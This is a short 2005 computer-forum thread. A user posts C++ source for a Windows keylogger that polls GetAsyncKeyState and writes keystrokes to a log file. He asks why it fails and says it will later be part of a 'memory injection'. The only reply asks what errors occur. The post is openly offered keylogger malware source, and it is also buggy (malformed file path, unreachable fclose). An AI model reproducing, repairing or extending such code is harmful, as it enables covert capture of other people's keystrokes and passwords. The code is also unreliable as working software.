Computer Forums

Member Login

Remember Me? Sign Up! | Forgot Password
 
Slogan
 
Closed Thread
Old 02-08-2005, 04:25 PM   #1 (permalink)
 
Junior Techie

Join Date: Jan 2005

Posts: 68

Nikon

Send a message via AIM to Nikon
Default C++

Me, and one of my buddys are moving from VB to C++ and PHP (for communication between out scripts) anyways, my first project, is a keylogger, witch soon will be part of a memory injection, but for now, i just need it to properly function. Heres the code:

Code:
#include <windows.h>
#include <stdio.h>

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,LPSTR lpszArgument, int nFunsterStil)
{
FILE *keys;
char press,file[256];
int key;
GetSystemDirectory(file,sizeof(file));
strcat(file,"C:\Test\keys.log");
keys=fopen(file,"a+");
for(;;){
for(key=0;key<256;key++){
 if(GetAsyncKeyState(key)){
  while(GetAsyncKeyState(key)){
   }
   printf("%i",key);
  if(key!=02&&key!=01&&key!=11&&key!=12&&key!=14&&key!=38&&key!=40&&key!=37&&key!=39&&key!=27&&key!=20&&key!=91&&key!=92){
   if(key==9)fprintf(keys,"\t");
   else if(key==13)fprintf(keys,"\n");
   else if(key==8)fprintf(keys,"\b");
   else fprintf(keys,"%c",key);
  }
 }
}
}
fclose(keys);
     return 0;
}
Any idea whats wrong?
Nikon is offline  
Old 02-09-2005, 11:23 AM   #2 (permalink)
 
Ultra Techie

Join Date: Sep 2003

Location: Bamberg, Germany

Posts: 549

Iron_Cross

Send a message via ICQ to Iron_Cross Send a message via MSN to Iron_Cross Send a message via Yahoo to Iron_Cross
Default

What errors are you getting?
__________________

See today\'s Penny-Arcade!(May contain foul lanuage)
Pain is weakness leaving the body.

PM Me for my MSN
Iron_Cross is offline  
 
Closed Thread

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On